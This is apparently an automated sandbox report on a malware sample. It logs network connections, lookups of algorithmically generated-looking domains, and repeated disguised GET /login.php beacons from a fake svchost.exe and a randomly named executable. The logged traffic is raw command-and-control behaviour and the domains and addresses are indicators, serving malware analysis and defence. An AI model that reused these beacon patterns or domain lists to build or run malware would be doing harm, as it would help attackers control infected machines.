Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 5.79.71.205 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 99.83.170.3 443Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 52.34.198.229 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 75.2.71.199 443Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.150.10.48 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 23.253.46.64 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 199.191.50.83 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 13.248.169.48 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.224.212.210 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 76.223.67.189 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 18.208.156.248 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 199.59.243.227 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 208.100.26.245 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.224.182.252 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 91.195.240.19 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeDomain query: vofyruc.com
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 85.17.31.82 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeDomain query: pumydyg.com
Source: C:\Windows\apppatch\svchost.exeDomain query: puzytap.com
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 162.255.119.102 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 188.114.97.3 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 44.221.84.105 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 154.212.231.82 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 188.114.96.3 443Jump to behavior
Queries Google from non browser process on port 80
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupydeq.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygynud.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupycag.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galynuh.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qexyhuv.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyciz.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?subid1=20241112-0413-1393-8b92-799b17a46fa8 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1731345193.2353053
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?sub1=20241112-0413-1304-9c25-d9b9aac71030 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1731345193.3163760
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyhyg.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygyvuj.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyhiz.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com Cookie: __tad=1731345193.2353053
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com Cookie: __tad=1731345193.3163760
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?subid1=20241112-0413-361d-880c-38de75da0bbf HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1731345193.2353053; parking_session=420ef3a8-c938-4e4a-99bb-1a08a10d1764
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345181|1731345181|0|1|0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478890781963739088
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345181|1731345181|0|1|0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345181|1731345181|0|1|0
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?sub1=20241112-0413-3653-b9c7-4bbc444bdc48 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1731345193.3163760
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
